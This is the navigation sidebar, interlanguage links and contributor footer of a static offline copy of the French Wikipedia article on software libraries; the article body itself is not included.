	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../ar/articles/%D9%85/%D9%83/%D8%AA/%D9%85%D9%83%D8%AA%D8%A8%D8%A9_%D8%A8%D8%B1%D9%85%D8%AC%D9%8A%D8%A9.html">العربية</a>
	      </li>
	      	      <li>
	      <a href="../../../../../cs/articles/k/n/i/Knihovna_%28programov%C3%A1n%C3%AD%29.html">Česky</a>
	      </li>
	      	      <li>
	      <a href="../../../../../da/articles/p/r/o/Programbibliotek.html">Dansk</a>
	      </li>
	      	      <li>
	      <a href="../../../../../de/articles/p/r/o/Programmbibliothek.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../el/articles/%CE%B2/%CE%B9/%CE%B2/%CE%92%CE%B9%CE%B2%CE%BB%CE%B9%CE%BF%CE%B8%CE%AE%CE%BA%CE%B7_%28%CF%85%CF%80%CE%BF%CE%BB%CE%BF%CE%B3%CE%B9%CF%83%CF%84%CE%AD%CF%82%29.html">Ελληνικά</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/l/i/b/Library_%28computing%29.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/b/i/b/Biblioteca_%28programaci%C3%B3n%29.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../et/articles/t/e/e/Teek.html">Eesti</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fa/articles/%DA%A9/%D8%AA/%D8%A7/%DA%A9%D8%AA%D8%A7%D8%A8%D8%AE%D8%A7%D9%86%D9%87_%28%D8%B1%D8%A7%DB%8C%D8%A7%D9%86%D9%87%29.html">فارسی</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/j/a/e/Jaettu_kirjasto.html">Suomi</a>
	      </li>
	      	      <li>
	      <a href="../../../../../he/articles/%D7%A1/%D7%A4/%D7%A8/%D7%A1%D7%A4%D7%A8%D7%99%D7%99%D7%94_%28%D7%AA%D7%9B%D7%A0%D7%95%D7%AA%29.html">עברית</a>
	      </li>
	      	      <li>
	      <a href="../../../../../id/articles/p/u/s/Pustaka_perangkat_lunak.html">Bahasa Indonesia</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/l/i/b/Libreria_software.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%83%A9/%E3%82%A4/%E3%83%96/%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ko/articles/%EB%9D%BC/%EC%9D%B4/%EB%B8%8C/%EB%9D%BC%EC%9D%B4%EB%B8%8C%EB%9F%AC%EB%A6%AC.html">한국어</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/b/i/b/Bibliotheek_%28informatica%29.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pl/articles/b/i/b/Biblioteka_programistyczna.html">Polski</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/b/i/b/Biblioteca_%28computa%C3%A7%C3%A3o%29.html">Português</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ru/articles/%D0%B1/%D0%B8/%D0%B1/%D0%91%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA%D0%B0_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%29.html">Русский</a>
	      </li>
	      	      <li>
	      <a href="../../../../../sl/articles/k/n/j/Knji%C5%BEnica_%28ra%C4%8Dunalni%C5%A1tvo%29.html">Slovenščina</a>
	      </li>
	      	      <li>
	      <a href="../../../../../sv/articles/p/r/o/Programbibliotek.html">Svenska</a>
	      </li>
	      	      <li>
	      <a href="../../../../../th/articles/%E0%B9%84/%E0%B8%A5/%E0%B8%9A/%E0%B9%84%E0%B8%A5%E0%B8%9A%E0%B8%A3%E0%B8%B2%E0%B8%A3%E0%B8%B5.html">ไทย</a>
	      </li>
	      	      <li>
	      <a href="../../../../../uk/articles/%D0%B1/%D1%96/%D0%B1/%D0%91%D1%96%D0%B1%D0%BB%D1%96%D0%BE%D1%82%D0%B5%D0%BA%D0%B0_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D1%83%D0%B2%D0%B0%D0%BD%D0%BD%D1%8F%29.html">Українська</a>
	      </li>
	      	      <li>
	      <a href="../../../../../zh/articles/%E5%BA%93/_/_/%E5%BA%93.html">中文</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 9 avril 2008 à 12:19 par Utilisateur <a href="../../../../articles/o/k/b/Utilisateur%7EOKBot_56a4.html" title="Utilisateur:OKBot">OKBot</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/v/o/l/Utilisateur%7EVolkovBot_0e6c.html" title="Utilisateur:VolkovBot">VolkovBot</a>, <a href="../../../../articles/c/h/t/Utilisateur%7EChtfn_0109.html" title="Utilisateur:Chtfn">Chtfn</a>, <a href="../../../../articles/z/a/w/Utilisateur%7EZawer_cecd.html" title="Utilisateur:Zawer">Zawer</a>, <a href="../../../../articles/i/v/a/Utilisateur%7EIvanoff_6f7d.html" title="Utilisateur:Ivanoff">Ivanoff</a>, <a href="../../../../articles/s/t/y/Utilisateur%7ESTyx_3f2c.html" title="Utilisateur:STyx">STyx</a>, <a href="../../../../articles/j/i/b/Utilisateur%7EJiBi-Why_ae88.html" title="Utilisateur:JiBi-Why">JiBi-Why</a>, <a href="../../../../articles/r/e/m/Utilisateur%7ERemi_Mathis_4ae5.html" title="Utilisateur:Remi Mathis">Remi Mathis</a>, <a href="../../../../articles/t/o/e/Utilisateur%7EToePeu.bot_8e8c.html" title="Utilisateur:ToePeu.bot">ToePeu.bot</a>, <a href="../../../../articles/j/e/r/Utilisateur%7EJerome66_56af.html" title="Utilisateur:Jerome66">Jerome66</a>, <a href="../../../../articles/l/o/u/Utilisateur%7ELouperibot_13b7.html" title="Utilisateur:Louperibot">Louperibot</a>, <a href="../../../../articles/f/a/t/Utilisateur%7EFatalerrors_ae5c.html" title="Utilisateur:Fatalerrors">Fatalerrors</a>, <a href="../../../../articles/p/i/e/Utilisateur%7EPieRRoMaN_096e.html" title="Utilisateur:PieRRoMaN">PieRRoMaN</a>, <a href="../../../../articles/s/i/e/Utilisateur%7ESieBot_a9a8.html" title="Utilisateur:SieBot">SieBot</a>, <a href="../../../../articles/r/e/i/Utilisateur%7ERei-bot_2ad1.html" title="Utilisateur:Rei-bot">Rei-bot</a>, <a href="../../../../articles/l/o/u/Utilisateur%7ELouis-garden_07d1.html" title="Utilisateur:Louis-garden">Louis-garden</a>, <a href="../../../../articles/j/a/n/Utilisateur%7EJAnDbot_ea65.html" title="Utilisateur:JAnDbot">JAnDbot</a>, <a href="../../../../articles/i/a/l/Utilisateur%7EIAlex_938a.html" title="Utilisateur:IAlex">IAlex</a>, <a href="../../../../articles/w/i/n/Utilisateur%7EWindu.2b_eaf2.html" title="Utilisateur:Windu.2b">Windu.2b</a>, <a href="../../../../articles/s/t/a/Utilisateur%7EStanlekub_9f3f.html" title="Utilisateur:Stanlekub">Stanlekub</a>, <a href="../../../../articles/e/y/b/Utilisateur%7EEybot_d027.html" title="Utilisateur:Eybot">Eybot</a>, <a href="../../../../articles/t/h/i/Utilisateur%7EThijs%21bot_c2d6.html" title="Utilisateur:Thijs!bot">Thijs!bot</a>, <a href="../../../../articles/d/o/u/Utilisateur%7EDourouc05_2ff3.html" title="Utilisateur:Dourouc05">Dourouc05</a>, <a href="../../../../articles/k/y/l/Utilisateur%7EKyle_the_bot_1d7d.html" title="Utilisateur:Kyle the bot">Kyle the bot</a>, <a href="../../../../articles/g/i/l/Utilisateur%7EGillesC_4b5f.html" title="Utilisateur:GillesC">GillesC</a>, <a href="../../../../articles/p/o/u/Utilisateur%7EPoulpy_9a68.html" title="Utilisateur:Poulpy">Poulpy</a>, <a href="../../../../articles/r/i/p/Utilisateur%7ERipounet_71f8.html" title="Utilisateur:Ripounet">Ripounet</a>, <a href="../../../../articles/f/m/b/Utilisateur%7EFmbot_f0e6.html" title="Utilisateur:Fmbot">Fmbot</a>, <a href="../../../../articles/r/a/b/Utilisateur%7ERabusier_f6ca.html" title="Utilisateur:Rabusier">Rabusier</a>, <a href="../../../../articles/g/r/e/Utilisateur%7EGrecha_7098.html" title="Utilisateur:Grecha">Grecha</a>, <a href="../../../../articles/s/a/n/Utilisateur%7ESanao_f541.html" title="Utilisateur:Sanao">Sanao</a>, <a href="../../../../articles/b/a/y/Utilisateur%7EBayo_acb4.html" title="Utilisateur:Bayo">Bayo</a>, <a href="../../../../articles/y/u/r/Utilisateur%7EYurikBot_0f63.html" title="Utilisateur:YurikBot">YurikBot</a>, <a href="../../../../articles/j/e/r/Utilisateur%7EJerome_misc_203f.html" title="Utilisateur:Jerome misc">Jerome misc</a>, <a href="../../../../articles/a/e/-/Utilisateur%7EAe-a_025b.html" title="Utilisateur:Ae-a">Ae-a</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotQuistnix_d78e.html" title="Utilisateur:RobotQuistnix">RobotQuistnix</a>, <a href="../../../../articles/v/a/r/Utilisateur%7EVargenau_72c1.html" title="Utilisateur:Vargenau">Vargenau</a>, <a href="../../../../articles/c/h/o/Utilisateur%7EChobot_0dd0.html" title="Utilisateur:Chobot">Chobot</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMedBot_8f10.html" title="Utilisateur:MedBot">MedBot</a>, <a href="../../../../articles/g/e/n/Utilisateur%7EGene.arboit_710a.html" title="Utilisateur:Gene.arboit">Gene.arboit</a>, <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/d/b/l/Utilisateur%7EDblanche_5dee.html" title="Utilisateur:Dblanche">Dblanche</a>, <a href="../../../../articles/a/l/p/Utilisateur%7EAlphaBot_27bc.html" title="Utilisateur:AlphaBot">AlphaBot</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotE_4c36.html" title="Utilisateur:RobotE">RobotE</a>, <a href="../../../../articles/a/r/c/Utilisateur%7EArchibald_3a3d.html" title="Utilisateur:Archibald">Archibald</a>, <a href="../../../../articles/n/y/k/Utilisateur%7ENykozoft_5bd5.html" title="Utilisateur:Nykozoft">Nykozoft</a>, <a href="../../../../articles/m/s/c/Utilisateur%7EMschlindwein_ddf8.html" title="Utilisateur:Mschlindwein">Mschlindwein</a>, <a href="../../../../articles/e/m/v/Utilisateur%7EEmvee_b311.html" title="Utilisateur:Emvee">Emvee</a>, <a href="../../../../articles/p/h/e/Utilisateur%7EPhe_0278.html" title="Utilisateur:Phe">Phe</a>, <a href="../../../../articles/a/l/n/Utilisateur%7EAlno_76b7.html" title="Utilisateur:Alno">Alno</a>, <a href="../../../../articles/b/a/p/Utilisateur%7EBap_35e7.html" title="Utilisateur:Bap">Bap</a>, <a href="../../../../articles/s/c/u/Utilisateur%7EScullder_6490.html" title="Utilisateur:Scullder">Scullder</a>, <a href="../../../../articles/k/o/y/Utilisateur%7EKoyuki_0284.html" title="Utilisateur:Koyuki">Koyuki</a>, <a href="../../../../articles/m/i/s/Utilisateur%7EMisterMatt_Bot_f0f9.html" title="Utilisateur:MisterMatt Bot">MisterMatt Bot</a>, <a href="../../../../articles/m/m/_/Utilisateur%7EMm_fdea.html" title="Utilisateur:Mm">Mm</a>, <a href="../../../../articles/j/b/l/Utilisateur%7EJblndl_3d7c.html" title="Utilisateur:Jblndl">Jblndl</a>, <a href="../../../../articles/c/a/r/Utilisateur%7ECarlb_97c5.html" title="Utilisateur:Carlb">Carlb</a>, <a href="../../../../articles/o/r/t/Utilisateur%7EOrthogaffe_792d.html" title="Utilisateur:Orthogaffe">Orthogaffe</a>, <a href="../../../../articles/r/y/o/Utilisateur%7ERyo_c25f.html" title="Utilisateur:Ryo">Ryo</a>, <a href="../../../../articles/c/r/_/Utilisateur%7ECR_f961.html" title="Utilisateur:CR">CR</a>, <a href="../../../../articles/f/r/a/Utilisateur%7EFran%C3%A7ois-Dominique_9d3f.html" title="Utilisateur:François-Dominique">François-Dominique</a>, <a href="../../../../articles/t/r/u/Utilisateur%7ETrusty_834f.html" title="Utilisateur:Trusty">Trusty</a>, <a href="../../../../articles/c/%C5%93/u/Utilisateur%7EC%C5%93ur_8df5.html" title="Utilisateur:Cœur">Cœur</a>, <a href="../../../../articles/o/z/_/Utilisateur%7EOz_059a.html" title="Utilisateur:Oz">Oz</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMed_63f8.html" title="Utilisateur:Med">Med</a>, <a href="../../../../articles/r/a/p/Utilisateur%7ERaph_8bd1.html" title="Utilisateur:Raph">Raph</a>, <a href="../../../../articles/h/a/s/Utilisateur%7EHasharBot_01f0.html" title="Utilisateur:HasharBot">HasharBot</a>, <a href="../../../../articles/y/a/n/Utilisateur%7EYann_2991.html" title="Utilisateur:Yann">Yann</a>, <a href="../../../../articles/h/o/w/Utilisateur%7EHoward_Drake_6f46.html" title="Utilisateur:Howard Drake">Howard Drake</a> et <a href="../../../../articles/f/f/x/Utilisateur%7EFfx_c4ae.html" title="Utilisateur:Ffx">Ffx</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX